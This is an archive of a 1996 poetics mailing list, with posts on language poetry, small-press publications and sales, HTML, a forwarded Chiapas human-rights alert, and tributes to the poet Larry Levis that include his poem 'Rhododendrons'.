Re: sappho and cha at cornell
Thu 9 May 1996

A few thoughts in response to Maria's comments about students' expectations:

Many students and professionals pursuing professional growth seems wrapped and rapt by the information-as-commodity syndrome. This pattern seems to provide its own natural tiers of progression, and to offer a sense that one is "getting somewhere" and, in addition, "gaining something."

Regardless of the truth of this pantomime, I look upon it both gently and wryly, I guess. Sometimes it's frustrating to see rat-in-maze behaviors when this behavior seems in conflict with engagement.

The way that I've bridged these two is by creating VERY structured exercises that provide for the drawing out of analytical and/or integrative thought. While group process used to be mysterious to me, it's now second nature. And I love it. But STRUCTURE has been the point of rescue on all of this.

Sometimes I have difficulty believing the fervor with which I see people taking notes when I offer some linear list. It's like a feeding frenzy. But my sympathies remain in place, as I know how they participants have been programmed.

Sheila

↑ Index

158. Charles Alexander
Re: POETICS Digest - 6 May 1996 to 7 May 1996
Thu 9 May 1996

> *I know (from lurking) that people on the list are generally (understandably) hesitant to play the "define a movement" game, but I heard someone recently define language poetry as "that school of poetics which most consciously and critically engages language as ideology." While this struck me as somewhat reductive, I had a hard time formulating a response to highlight the short-comings of the definition, and thought I might throw it out here for people to bat around.*

We've had declarations that poetics is not primarily concerned with poetry, and now we have a practice in poetry defined as a school of poetics. This is what troubles me about this definition, even though I am not one to divorce poetry from poetics, nor am I one to inextricably link the two. But in specifically describing a poetry practice as a school which critically engages language as ideology, this definition seems to make secondary elements which I find most attractive about language poetry, which is the foregrounding of poetry as language at play. Any definition of language poetry which can succeed in including the playful use (& I would argue that play is absolutely useful; I would also argue that it is ideological, but not that ideology is the primary intent) of language in Gertrude Stein, bpNichol, and Charles Bernstein, would gain my confidence. While one can choose to look at all three of these in terms of critically & consciously engaging language as ideology, I don't think this is by any means the only lens one needs to illuminate primary aspects of the work. And I choose these three writers only because of their diversity and their rather obvious joy in creating language works.

charles alexander

↑ Index

159. Gabrielle Welford
THE MASSACRE HAS STARTED....IN BACHAJON,CHIAPAS. (fwd)
Thu 9 May 1996

Further news from Chiapas. Yuk. Gab.

---------- Forwarded message ---------- We enclose an alert we just received from ASSOCIATED MINISTRIES OF TACOMA,WASHINGTON. Their note requests that we distribute this information as soon as possible due to the extreme danger of escalation.

Associated Ministries informs us that the lines on Peacenet are down at this time, we do not know if this is due to scheduled maintenance or some other reason.

We add our deep concern and encourage you to distribute this as widely as possible and send those faxes immediately.

Thank you,

The Editors of AMANECER PRESS

May 5,1996

CHURCHES UNITED a project of
ASSOCIATED MINISTRIES OF TACOMA-PIERCE
1224 South I Street
Tacoma, Washington 98405 USA
Tel:[redacted] FAx:[redacted]
e-mail: [redacted]

THE MASSACRE HAS STARTED....IN BACHAJON,CHIAPAS.

With these words, a few moments ago, we received information that an armed confrontation is taking place at this time in Bachajon, Chiapas, between the paramilitary group locally known as "The Chinchulines" and formally known as "Youth Group" with ties to the PRI, and indigenous from the Ejido San Jeronimo.

This paramilitary group assaulted about 300 indigenous men and women last night, as they made their way home after a communal assembly in San Jeronimo where the paramilitary group lost communal elections.

This paramilitary group took over the municipality of Chilon (a few miles from Bachajon) about 14 days ago and has kept the civilians and human rights workers under constant verbal abuse and threats of violence.

Neither the State nor Federal authorities have intervened in stopping the violent actions of this paramilitary group.

At the present time, we have the confirmation of at least
one person dead and many injured. Heavily armed men have been
seen traveling by pick up truck from Chilon to Bachajon.

There is an unconfirmed report that the Church in Bachajon belonging to the Jesuit Mission has been set on fire, we are presently trying to confirm this but are unable to reach anyone to do so.

This is but one more sign of the decomposition of the system and the growing activity of the paramilitary groups in Chiapas. If this local conflict does not have a quick political solution it can place the Peace Dialogue in jeopardy.

This would mean a new threat of a violent confrontation at a larger scale.

On the other hand, the Mexican Press reports today that a vehicle belonging to MIlitary Intelligence and the Public Security, has been following Bishop Ruiz all week very closely and remains outside his residence.

We ask ourselves what are really the intentions of the Mexican government?

We encourage you to send faxes to President Zedillo asking him to intervene BRINGING ABOUT A POLITICAL SOLUTION THAT FAVORS THE CONTINUITY OF THE PEACE TALKS.

>From USA: 011-52-5-[redacted] from Mexico:[redacted]
We suggest copies to: CONAI from USA:011-52-967-83136 and CEDIAC 011-52-967-102-07 and in the US you may send them to us at:[redacted]

Thank you,

THE COORDINATION OF CHURCHES UNITED OF ASSOCIATED MINISTRIES

** End of text from cdp:reg.mexico **

[The above article was distributed by the ANTIFA INFO-BULLETIN, as Supplement 39, May 7, 1996]

* * * * *

Bay Area Coalition for Our Reproductive Rights (BACORR)
750 La Playa # 730
San Francisco, California 94121
Voice: [redacted]
E-Mail: <[redacted]>

On PeaceNet visit BACORR's <women.clinicdefense> conference. For subscription information e-mail Wendi Jones, <[redacted]>

BACORR text files can also be found on the following sites:

Arm The Spirit
WWW:gopher://locust.cic.net:70/11/politics/Arm.The.Spirit/BACORR
FTP: ftp.etext.org --> /pub/politics/Arm.The.Spirit/BACORR
FTP: ftp.etext.org --> /pub/politics/Arm.The.Spirit/Antifa/Antifa.Info-Bulletin

Institute For Alternative Journalism (AlterNet)
http://www.alternet.org/an/demworks/html
gopher://gopher.igc.apc.org:70/00/orgs/alternet

****
BACORR: DEFENDING CLINICS, EXPOSING TERRORISM --
BECAUSE NO ONE'S GONNA DO IT FOR US!
****

++++ stop the execution of Mumia Abu-Jamal ++++
++++ if you agree copy these 3 sentences in your own sig ++++
++++ see: http://www.xs4all.nl/~tank/spg-l/sigaction.htm ++++

↑ Index

160. **henry gould**
Re: POETICS Digest - 6 May 1996 to 7 May 1996
Thu 9 May 1996

On Thu, 9 May 1996 10:26:53 -0500 Charles Alexander said:
>specifically describing a poetry practice as a school which critically
>engages language as ideology, this definition seems to make secondary
>elements which I find most attractive about language poetry, which is the
>foregrounding of poetry as language at play. Any definition of language
>poetry which can succeed in including the playful use (& I would argue that
>play is absolutely useful; I would also argue that it is ideological, but
>not that ideology is the primary intent) of language in Gertrude Stein,
>bpNichol, and Charles Bernstein, would gain my confidence.

This would correspond (since no one else is taking me up on this thread) with CS Peirce's category of "firstness", to which he attached aesthetics (the "admirable in itself") in general - feeling, quality, randomness, the unrelated pure exploding variety of nature. - H. Gould

↑ Index

161. **Edward Foster**
LANSING TALISMAN!!!
Thu 9 May 1996

The Gerrit Lansing issue of _Talisman_ just arrived: I. Gerrit Lansing section: Lansing's "In Erasmus Darwin's Generous Light" -- Essays/New Work by Featherston, Foster, Killian, Podgurski, Schelb, Stein, Stroffolino, II. New Work by Albon, Alexiou (trans. Kostos), Cherkovski, Cigale, Cornford, Davidson, Ellis, English, Featherston, Geranis (trans. Kostos), Glazier, Henning, High, Hunt, Hunter, Kalamaras, Kalleberg, Keckler, Kelley, Lazar, Lease, Lovell, Lubeski, Mac Low, Marshall, Mossin, Needell, Perlman, Ramsdell, Retsov, Rubenstein, Samuels, Schwartz, Selby, Shurin, Sobin, Stoloff, Tarn, Valente, Waldner, Wright, Yau, III. Commentary by Boughn on Blaser and Emerson, Owens on Nash, Borkhuis on Palmer, IV. Columns by Mobilio, Schwartxz, Shurin, and V.

exchange between Perloff and Walsh, and nine-page list of recently received (i.e., great new books, magazines to read). A MAJOR MOMENT!!! And only $6 or subscribe at $11/year. THESE PRICES GO UP SOON! (They have to as our costs continue to spiral!) Please subscribe soon and often. We eschew all academic and other support; they offer, and we do not respond politely. Talisman is a journal for/by poets, but we desperately need your support if we are to continue as such!!!! Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157

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162. Edward Foster
WONDERFUL NEW BOOK
Thu 9 May 1996

Just published, arrived this minute from the printer, wonderful selection of Geoffrey O'Brien Poems from Talisman: _Floating City: Selected Poems 1978-1996_, ISBN 1-883689-38-4, $10.50, from Talisman House, Publishers. Available soon at the bookstores we appreciate and patronize, or quicker with Visa/MasterCard, call [redacted], or with $3 for pstage/handling, write: Login Publishers Consortium/InBook, 1436 West Randolph Street, Chicago, IL 60607. O'Brien's at the top, amazing poet, terrific book.

↑ Index

163. David Baratier
Re: LANSING TALISMAN!!!
Thu 9 May 1996

> Ed Foster:
>
> Sean Killian or Kevin Killian?
>
> Thanks.
>
> David Baratier

↑ Index

164. Peter Zukowski
Peter Neagoe
Thu 9 May 1996

Does anyone know of a Rumanian/American writer by the name of Peter Neagoe? I read a short story by him, published in _transition_ magazine and believe he published several books of short stories, poetry, prose, and translations.

I would like to find out if there are any books in print by him, about him, or about the Surrealist activities in which (I believe) he was involved.

Anyone know any answers? Just respond to the list or e-mail me.

Thank you.

Peter Zukowski
[redacted]

↑ Index

165. Joseph Zitt
Re: special sales from Sun & Moon Press
Thu 9 May 1996

On 7 May 96 at 10:04, Douglas Messerli wrote:

> *Sun & Moon Press announces some very special sales for*
> *participants in the Poetry List:*
> *Sun & Moon is also offering, for a special, limited time,*
> *FROM THE OTHER SIDE OF THE CENTURY: A NEW AMERICAN POETRY*
> *1960-1990*
>
> *very slightly damaged copies (corners slightly bent) for only*
> *$5.00; the regular price is $29.95.*
>
> *All orders are the quoted price plus $1.00 shipping and handling.*

Yes! I'll go for one of these! I'm at

Joseph Zitt
Texas Instruments
8505 Forest Lane
M/S 8678 (Cube #-4144)
Dallas, TX 75243

Thanks! ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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166. Dan Horne
(no subject)
Fri 10 May 1996

On 9th May, Sheila Murphy wrote:

"Many students and professionals pursuing professional growth seems wrapped and rapt by the information-as-commodity syndrome."

Those of us in the info tech industry have always known and championed the fact that information is a commodity. It used to be knowledge, but nowadays who can know everything?

Regards

Dan Horne

---------- Technical Analyst Oracle New Zealand Ltd. [redacted] Level 16, 7 City Rd. [redacted] Auckland, New Zealand ----------
Disclaimer: The opinions expressed here are my own, and are not necessarily those of Oracle Corporation.

↑ Index

167. Bob Holman

Re: POETICS Digest - 8 May 1996 to 9 May 1996

Fri 10 May 1996

In a message dated 96-05-10 00:26:21 EDT, you write:

>If you believe that more "expansive" poetry is not about anything (and
>later you can tell me why you believe that), then why do you agree with
>me that future editions should be more expansive? Are you adopting a
>poetics of anti-aboutness??
The poem is about, Aldon, but the poetry is not, is what I think I mean. And that is the Olson expansive. As to expanding to further, as in exploding parameters, that's wjhere I agree. And yup, everything is everything. (Again? I think)

> *Just how does something made out of language go about not be about anything???? (which, as in painting, I would expect is considerably a different matter from being non-representational) ["go about not be]?? my keboard writes poems to me --*

1. By being "about everything" 2. By "being about" language 3. My mind speaks to me 4. I'm going to sit write down and right myself a letter (pick ONE: abcdefghijklmnopqstuvwxyz)

Bob Holman

↑ Index

168. **Aldon L. Nielsen**
Re: relang.
Fri 10 May 1996

Years ago (I AM getting old) Ron S. offered as an acceptable definition of a language poet: "anyone who has ever been accused of being a language poet"

now THAT'S expansive --

↑ Index

169. **Chris Stroffolino**
Re: POETICS Digest - 8 May 1996 to 9 May 1996
Fri 10 May 1996

This discussion between Aldon N. And B. Holman
about being not about
to be about or not to be about

I don't think Bob was saying that
poems that aren't ABOUT something don't have any meaning....
but what he meant by ABOUT was a very particular kind of "aboutness"

_____
It can't be "about" things like "consciousness" or "words"
as much as rootedness, in place or ethnic identity, and there
must be some kind of thematic consistency, PIN DOWNable....
easily.....

_____
though pop songs are sometimes more of a challenge
than wild "out there" "free improv....."

↑ Index

170. **Gwyn McVay**
Re: relang.
Fri 10 May 1996

When did the term "L=A=N=G=U=A=G=E" poet vs. "language" poet drop out of use? with the demise of the original L=, or just because people got tired of typing equals signs, or what? Institutional laziness on the part of academicians who couldn't be bothered to distinguish between the different varieties of querzblatz poetics?

Yrs for Scrabble,
Gwyn

↑ Index

171. Loss Glazier

72 Hours

Fri 10 May 1996

Just spent about 72 hours (not continuously!) in the darkest forests of HTML. I continue to be amazed at what an extraordinarily intricate world this is *at a technical* or writing level. (That is, like grammar, how commands and operations mean different things at different times; how some operations are misleading and so to be clear you must use a circumlocution - or less-than-direct path between the trees.) This is a writing space where the most minute movements are possible. Painfully incremental adjustments of latitude and longitude; increments of relative positioning of both "inline" and "floating" images; adjustments to physicality of the presentation *itself* (do you want to specify the PROJECTED dimensions of the graphic? what is its relation to the real dimensions of the graphic? do you wish to adjust its number of colors, its resolution, its pixelation?) Is there a difference in anyone's eye between the thousands of web pages that are springing up (CNN, Ford, ATT True Savings - the announcement of this last site really got me. As if those phone calls offering you deals on your long distance service weren't already enough!) and a web-writing that is different not from the obvious point of view of content but of *writing*? In a piece of writing we also read the grammar (or misread it). Do we tend to _read_ less when we're online? Perhaps it also took a while for people to begin "reading" TV?

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172. Kevin Killian

Re: POETICS Digest - 8 May 1996 to 9 May 1996

Fri 10 May 1996

> *Re: Billie Whitelaw: as many of you may know, she's in the Zeffirelli version of Jane Eyre -- she plays -- Grace Poole! I only know that from the credits at the end of the picture; couldn't recognize her while she was on screen.*
>
> *Charles Watts*
> [redacted]

This is Kevin Killian. I will never forget Billie Whitelaw in "Night Watch," the US-financed thriller made in London around 1975? or so? where she is the other woman Lawrence Harvey loves and so they both try to drive Elizabeth Taylor crazy, and Taylor wears the most insane nightdress you've ever seen . . .

Billie Whitelaw must have seen that dress and then buried herself up to the neck in sand in shock.

As for "Jane Eyre," any film that has Whitelaw, Plowright, Maria Schneider (!!!!), Elle Macpherson (????), and GERALDINE CHAPLIN all in it will be playing for years at our local camp theaters here in San Francisco, perhaps in a triple bill with "Showgirls" and "Valley of the Dolls."

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173. **Charles Watts**

Re: POETICS Digest - 8 May 1996 to 9 May 1996

Fri 10 May 1996

Re: Billie Whitelaw: as many of you may know, she's in the Zeffirelli version of Jane Eyre -- she plays -- Grace Poole! I only know that from the credits at the end of the picture; couldn't recognize her while she was on screen.

Charles Watts

[redacted]

"The present order is the disorder of the future" -- Saint Just, via Ian Hamilton Finlay

↑ Index

174. **Edward Foster**

Re: LANSING TALISMAN!!!

Fri 10 May 1996

---

it's _kevin_ killian in this case, david: he rewrites a hawthorne story making "kevin" and "gerrit lansing" central figures. quite wonderful in fact: a "thrice-told" tale. -ed

↑ Index

175. **Maria Damon**

Re: 72 Hours

Fri 10 May 1996

---

what's HTML?

↑ Index

176. Jonathan A Levin
About about
Fri 10 May 1996

About about: I quote William James, from "The Principles of Psychology," commenting on the substantive bias of language: "All dumb or anonymous psychic states have, owing to this error [of supposing that where there is no name no entity can exist], been cooly suppressed; or, if recognized at all, have been named after the substantive perception they led to, as thoughts 'about' this object or 'about' that, the monotonous word *about* engulfing all their delicate idiosyncrasies in its monotonous sound. Thus the greater and greater accentuation and isolation of the substantive parts have continually gone on."

In other words, language begins to get interesting when you go around about, as Frost might have put it. (Oh, that sounds like a challenge!)

Best,

Jonathan Levin

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177. Tim wood
Re: special sales from Sun & Moon Press
Fri 10 May 1996

> *On 7 May 96 at 10:04, Douglas Messerli wrote:*
>
> *Sun & Moon Press announces some very special sales for*
> *participants in the Poetry List:*
> *Sun & Moon is also offering, for a special, limited time,*
> *FROM THE OTHER SIDE OF THE CENTURY: A NEW AMERICAN POETRY*
> *1960-1990*
>
> *very slightly damaged copies (corners slightly bent) for only*
> *$5.00; the regular price is $29.95.*
>
> *All orders are the quoted price plus $1.00 shipping and handling.*

Put me down also:

Tim Wood
PO Box 835984 Richardson, TX 75083

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178. klobucar
Re: Orono Conference
Fri 10 May 1996

I'm critical of personal requests and commentary on this list, but I can think of no better medium, so here goes.... Some weeks ago, I noticed specific enquiries about potential bunk mates for the Orono Conference next month. I too am hoping to save some USD by finding a rooming partner for the duration, or at least part of June's event. Thus a general request: anybody requiring a male roomie in Orono please respond via my e-mail address

[redacted]

Hope to hear from somebody,

Thanks,
Andrew

↑ Index

179. Eryque Gleason
Re: 72 Hours
Fri 10 May 1996

---

once upon a time, maria d. wrote:

> *what's HTML?*

html stands for HyperText Markup Language or something very much like that. it's one of the types of computer code that is used to make web pages. You can do all sorts of nifty things with it if you know what you're doing, or even if you don't. it's a pretty rudimentary system. if you've got a terminal around with netscape or mosaic, you can look at

http://www.cnw.com/~drclue/Formula_One.cgi/HTML/HTML.html

which is dr. clue's infobahn html guide and has much more info than i do. if you don't have a graphical web browser like netscape around you may have a text only browser like lynx available, but with lynx you can't see all the cheesy graphics dr. clue put on his page. maybe someone else knows the url of a text-based info site?

hope this helps!

eryque

↑ Index

180. **Charles Alexander**
Re: 72 Hours
Fri 10 May 1996

> *what's HTML?*

HyperText Mark-up Language

It's the coding required for the world wide web. A strange way to tell things browsers like NetScape how to display language and images. And it's the biggest such code going, although there are other possibilities, like JAVA, which works in a rather different manner. But if one wants to do work on the web, HTML is a part of the poetics.

↑ Index

181. **k.a. hehir**
Re: POETICS Digest - 8 May 1996 to 9 May 1996
Fri 10 May 1996

On Fri, 10 May 1996, Charles Watts wrote:

> *Re: Billie Whitelaw: as many of you may know, she's in the Zeffirelli version of Jane Eyre -- she plays -- Grace Poole! I only know that from the credits at the end of the picture; couldn't recognize her while she was on screen.*
>
> *Charles Watts*
> [redacted]
>
> *"The present order is the disorder of the future" -- Saint Just, via Ian Hamilton Finlay*

thank you for the spotting. our english dept. softball team called the Jane Errors just lost by 8ight runs to the library. you've told us that Billie Whitelaw plays Grace Poole, but can she play second base?!

kevin

↑ Index

182. **k.a. hehir**
Re: special sales from Sun & Moon Press
Fri 10 May 1996

On Fri, 10 May 1996, Tim wood wrote:

> >On 7 May 96 at 10:04, Douglas Messerli wrote:
> >

> >> Sun & Moon Press announces some very special sales for
> >> participants in the Poetry List:
> >> Sun & Moon is also offering, for a special, limited time,
> >> FROM THE OTHER SIDE OF THE CENTURY: A NEW AMERICAN POETRY
> >> 1960-1990
> >>
> >> very slightly damaged copies (corners slightly bent) for only
> >> $5.00; the regular price is $29.95.
> >>
> >> All orders are the quoted price plus $1.00 shipping and manhandling
i hope the euphoria of commerce does't taint the list, but i'll take 1 too.

kevin angelo hehir
578 lambto st.
london, on
N5Y 4G2

please inform me backchannel as to best get the USD to you.
thanks,
kevin

↑ Index

183. George Bowering
Re: Schneider?
Sat 11 May 1996

> *As for "Jane Eyre," any film that has Whitelaw, Plowright, Maria Schneider (!!!!), Elle Macpherson (????), and GERALDINE CHAPLIN all in it will be playing for years at our local camp theaters here in San Francisco, perhaps in a triple bill with "Showgirls" and "Valley of the Dolls."*

Kevin, you're kidding! Maria Schneider is in another movie already? Oh, lord! I have been hearing so much about "Jane Eyre." Thank goodness. Because Whiyelaw has been in so many low budget unseen movies in recent years.

Hey, how would that movie play on Turk Street if it had Nastasia Kinsky in it?

.....
What does Lucky Strike mean again?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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184. George Bowering
Whitelaw
Sat 11 May 1996

> *thank you for the spotting.*
> *our english dept. softball team called the Jane Errors just lost by 8ight runs to the library. you've told us that Billie Whitelaw plays Grace Poole, but can she play second base?!*
>
> *kevin*

I saw her in the Bradford High School brass band. She was playing second bass.

.....
What does Lucky Strike mean again?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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185. Kevin Killian
Stephen Jonas
Sat 11 May 1996

This is Dodie Bellamy. Ron Silliman wrote:

> *By the bye, Aldon, that was a GREAT presentation on Steve Jonas at New College the other day. Genuinely terrific!*

Thanks for the pr for Small Press Traffic, Ron. I thought the whole panel was wonderfully provoking, the issues of racism and its relationship to outsiderness and the yearning to be inside.

Your reading for us (here in San Francisco) at Four Walls was great too. I guess absence does make the heart grow fonder.

x,
Dodie

p.s. For those of you who were not at the Stephen Jonas panel/event with Aldon Nielsen, Will Alexander and Joe Torra . . . Small Press Traffic has a great bargain for you. Jeff Conant & Woof Press took the occasion to produce a limited edition broadside/lithograph-each one unique, hand colored-of a "new" S. Jonas poem, made available to us by the executors of the Jonas estate, Raffael de Gruttola and Gerrit Lansing. Only $15.00 + nominal shipping. Back channel me (at [redacted]) for more information. Thanks everyone.

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186. Wendy Battin
Re: Electronic Ink
Sat 11 May 1996

For all those who replied to my request way back for small press & bookstore URLs: the beginnings of the database are available at

http://camel.conncoll.edu/ccother/wjbat/Electronic_Ink

There are links to EPC, of course, to presses, bookstores, & a few e-text sites. I'm most interested in making this a distribution tool for print; if/when your press or bookstore has a website with catalog, send me the URL & I'll add it.

Wendy

Wendy Battin http://camel.conncoll.edu/ccother/wjbat/
[redacted]

↑ Index

187. Loss Glazier
EPC Featured Connect
Sat 11 May 1996

The "Net" (featured connect) at the EPC right now is
$lavery Cyberzine
>The April 15, 1996 issue contains work by Alice Notley, John Godfrey
>Jackson Mac Low, Ed Sanders, Barbara Barg, Douglas Oliver,
>Simon Pettet, Yvonne Jacquette, Allen Ginsberg,
>Ted Berrigan and many others. Also includes collage/collab
>photography, fine art, etc.
>

>Site designed and maintained by Harris Schiff
The EPC is at http://writing.upenn.edu/epc

↑ Index

188. **Aldon L. Nielsen**
Re: = = = = =
Sat 11 May 1996

Gwyn: typing laziness on my part when it comes to e-mail

BUT, I can report at least one experience of being blasted heavily by an anonymous reader for a journal who thought it outrageous that I should use such a term as "L=A=N=G=U=A=G=E," which, despite its appearance in books, articles etc., my anonymous ref. assured me NOBODY used anymore --

go figger!

---------- about about: the responses to my last on this topic leave me if anything further beclouded -- sounds as ig the objection isn't actually that some poems "aren't about anything," but rather a strong reaction against what they are in fact about?

remember that great sixties cliche, "we're about the business of . . ."?

Like Paul Blackburn, I remain as ever yours, in, on, or about the premises -- particularly the unspecified and presupposed premises

↑ Index

189. **Aldon L. Nielsen**
Re: Orono and there abouts
Sat 11 May 1996

My essay for the 50s conference at Orono was briefly orphaned by the disappearance of the papers to either side of it, but Burt and Company have now happily relocated me on panel 3B, at 3:30 on the first day of the conference. If you're interested in innovative poetics and African-American writing, note that the panel now addresses Stephen Jonas, Melvin Tolson and Russell Atkins. (Though this means I will have to miss other interesting panels, but maybe the Mina Loy panelists, for example, will let me read copies?)

Now, about these prepositions --

The James quote is about perfect, in my book! In another book, a photo voulme in tribute to W.E.B. DuBois published by Johnson Publications, I see that the blurb writers have DuBois attending a course with Henry, rather than William, James! Now that would have been something to write home about --

love to all from hereabouts,
aldon

↑ Index

190. **Chris Stroffolino**
Re: = = = = =
Sat 11 May 1996

Aldon, are you trying to "coin" a new movement here?
Based on eqaulity (we are all equals in signs).
"I am he as you are...."
or is that the flipside
==========being the music (the median strip)
to the "meaning" (metonymy) that is language?

↑ Index

191. **Chris Stroffolino**
chapbook (new)
Sat 11 May 1996

I just received via email today a chapbook published by
reference:press
it includes work by three writers:
jennifer moxley
angela littwin
and keith waldrop----
definitely worth checking out.
send queries to
Beth Anderson, 154 Doyle ve. Providence, RI. 02906....

↑ Index

192. **Bill Luoma**
Larry Levis
Sat 11 May 1996

The poet Larry Levis has died. A heart attack. He was 49 and teaching in Virginia. Born and raised near Fresno, CA. Student and long time friend of Phil Levine. The books I have of his are The Afterlife, Wrecking Crew and Winter Stars. I have another one of his books, On Out by Lew Welch. It is inscribed:

For Larry --
get out of town

Lew
7/10/68

I remember kicking field goals with him and his son through the goal posts of almond trees at his mother's selma ranch. The mountain bluebirds down from the sierra winter lighting on the short grafted trees. Playing pool at a mexican bar in perfectly normal crossroads. A lowrider pulling up next to him and saying: You and me man, we just can't get low enough. On his harley in suit and his lovely bride in white on the back. His gentle and sexy deep voice. He could never get a group of lions at the zoo to roar but would instead have them swooning. I'm going over to my mom's to get some lampshades for Louise.

What follows is Rhododendrons by Larry Levis.

Rhododendrons

WINTER has moved off
somewhere, writing its journals
in ice.

But I am still afraid to move,
afraid to speak,
as if I lived in a house
wallpapered with the cries of birds
I cannot identify.

Beneath the trees
a young couple sits talking
about the afterlife,
where no one, I think, is
whittling toys for the stillborn,
I laugh,

but don't know.
Maybe the whole world is absent minded
or floating. Maybe the new lovers undress
without wondering how
the snow grows over the Andes,
or how a horse cannot remember those
frozen in the sleigh behind it,
but keeps running until the lines tangle,
while the dead sit coolly beneath their pet stars.

As I write this,
some blown rhododendrons are nodding
in the first breezes. I want
to resemble them, and remember nothing,

the way a photograph of an excavation
cannot remember the sun.

The wind rises or stops
and it means nothing.

I want to be circular;
a pond or a column of smoke
revolving, slowly, its aches.

I want to turn back and go up
to myself at age 20,
and press five dollars into his hand
so he can sleep.
While he stands trembling on a street in Fresno,
suddenly one among many in a crowd
that strolls down Fulton Street,
among the stores that are closing,
and is never heard of again.

↑ Index

193. Ron Silliman

Ism-isms

Sat 11 May 1996

Aldon (who doesn't look that old) notes:
>
>Years ago (I AM getting old) Ron S. offered as an acceptable
definition of a language poet: "anyone who has ever been accused of
being a language poet"
>
>now THAT'S expansive --
>

My old roomie, Tinker Greene, used to suggest (irritably) that a language poet was anyone who denied being one.

By the bye, Aldon, that was a GREAT presentation on Steve Jonas at New College the other day. Genuinely terrific!

>From: Gwyn McVay <[redacted]>
>Subject: Re: relang.
>
>When did the term "L=A=N=G=U=A=G=E" poet vs. "language" poet drop out
of use? with the demise of the original L=, or just because people got

tired of typing equals signs, or what? Institutional laziness on the
part of academicians who couldn't be bothered to distinguish between
the different varieties of querzblatz poetics?
>
>Yrs for Scrabble,
>Gwyn

So far as I know, nobody associated with the poetry itself ever used the equal signs in a self-identifying fashion. Some others (critics, reviewers and revilers) did so in order to associate the social phenomenon with one of its later manifestations. I've always read the equal signs as a special code on the part of an author as their way of signalling "I don't get it"

Ron Silliman

↑ Index

194. Herb Levy
Re: pick ONE
Sat 11 May 1996

Bob Holman wrote:

> *4. I'm going to sit write down and right myself a letter (pick ONE: abcdefghijklmnopqstuvwxyz)*

Obviously some sort of trick deck, though I don't get the point of the trick.

Or perhaps an homage to WCW.

Herb Levy
[redacted]

↑ Index

195. Maria Damon
Re: Larry Levis
Sat 11 May 1996

---

thanks maz for the eulogy and poem. never heard of levis before, but now i have and am glad. esp to hear of someone else whose mother's called selma. went to a funeral myself this a.m., and heard a 10 yr old girl read a poem to her dad whose 34 yr old dad's car crashed a coupla mornings ago, and he went up in the fiery wreckage..."I sit here in grief, listening with disbelief...daddy daddy why'd you leave? daddy daddy come back please." it was...poetic. i didn't know the guy he was a friend of friends and i went cuz they wanted to show up in my car instead of their own work truck. bests, maria d

↑ Index

196. **Gary Hawkins**
Re: Larry Levis
Sat 11 May 1996

---

from Laura Hope-Gill c/o [redacted]

In kind response to Bill Luoma's picture of Levis amid the almond tree goal-posts and outside the lion's cage, I want to offer more pictures of him, from just January-- such a surprising short time until this.

I had the great however brief pleasure of knowing Larry Levis as student/acquaintance at Warren Wilson College MFA Prog. last winter, my first and his many-eth, and I am sad. remembering him clearly there in the snowed-in campus, smoking a Marlboro, drinking beer, the music from the "Sweatheart Ball" coming out into the night, looking over the snow-buried gardens and mountains saying "you expect Jack Nicholson to come around in the SnowCat any second don't you?"

Larry Levis wore v-necked sweaters w/o turtleneck or undershirt under a thin overcoat in 0 degree wind, broke mid-lecture into full-text "Life Stories", danced madly in large steps and wide spins, quoted Talking Heads in the same sentence as Ezra Pound and made it work.

He was calm, understated, dry, realistic, (when can we say "brilliant.") When Tony Hoagland asked, after the reading and outside smoking, "How's your class on "Thought and Feeling" coming along?" Levis responded, leaning on the iced rail, exhaling thickly "I ditched the thought portion and my life's been easier since."

I called a friend who was corresponding with him this semester and was as of yesterday without "teacher," and we agreed: there's just a certain breed of human we can't stand to lose.

A former student and friend of the poet sent us this excerpt from "Adolescence" in Winter Stars:

> *-He had been drinking steadily all week,*
> *And was dealing cards*
> *When the muscle of his own heart*
> *Kicked him back into his chair so hard its wood snapped.*
> *He must have thought there was something*
> *Suddenly very young inside his body,*
> *If he had time to think . . .*

I hear the heart attack was so massive he probably didn't know, and I hope.

There are others out there who are much sadder than I am I'm sure, with deeper memories which pain more deeply, and I wish you well with your memories of "the Levis of the Levis of the Levis. ("Self Portrait with Radio"), who did

not "think that anything could choose me/ To be a Larry Levis before there even was/ a Larry Levis. ("Family Romance")"

"When he died it was like a whole library had burned down." -Laurie Anderson

I am glad I saved the cap off the bottle of champagne shared between Levis and a few students including myself at the final dinner, not knowing why I was tucking it safely into my pocket as I believed myself "over" the tchotchke phase (perhaps it's the swooning of lions, Bill), on which I read today the word pressed into the metal: BRUT and think no, not at all.

With warmest regards,
Laura Hope-Gill
[redacted]

> *The poet Larry Levis has died. A heart attack. He was 49 and teaching in Virginia. Born and raised near Fresno, CA. Student and long time friend of Phil Levine. The books I have of his are The Afterlife, Wrecking Crew and Winter Stars. I have another one of his books, On Out by Lew Welch. It is inscribed:*
>
> *For Larry --*
> *get out of town*
> *Lew*
> *7/10/68*
>
> *I remember kicking field goals with him and his son through the goal posts of almond trees at his mother's selma ranch. The mountain bluebirds down from the sierra winter lighting on the short grafted trees. Playing pool at a mexican bar in perfectly normal crossroads. A lowrider pulling up next to him and saying: You and me man, we just can't get low enough. On his harley in suit and his lovely bride in white on the back. His gentle and sexy deep voice. He could never get a group of lions at the zoo to roar but would instead have them swooning. I'm going over to my mom's to get some lampshades for Louise.*
>
> *What follows is Rhododendrons by Larry Levis.*
>
> *Rhododendrons*
>
> *WINTER has moved off*
> *somewhere, writing its journals*
> *in ice.*
>
> *But I am still afraid to move,*
> *afraid to speak,*
> *as if I lived in a house*

wallpapered with the cries of birds
I cannot identify.

Beneath the trees
a young couple sits talking
about the afterlife,
where no one, I think, is
whittling toys for the stillborn,
I laugh,

but don't know.
Maybe the whole world is absent minded
or floating. Maybe the new lovers undress
without wondering how
the snow grows over the Andes,
or how a horse cannot remember those
frozen in the sleigh behind it,
but keeps running until the lines tangle,
while the dead sit coolly beneath their pet stars.

As I write this,
some blown rhododendrons are nodding
in the first breezes. I want
to resemble them, and remember nothing,
the way a photograph of an excavation
cannot remember the sun.

The wind rises or stops
and it means nothing.

I want to be circular;
a pond or a column of smoke
revolving, slowly, its aches.

I want to turn back and go up
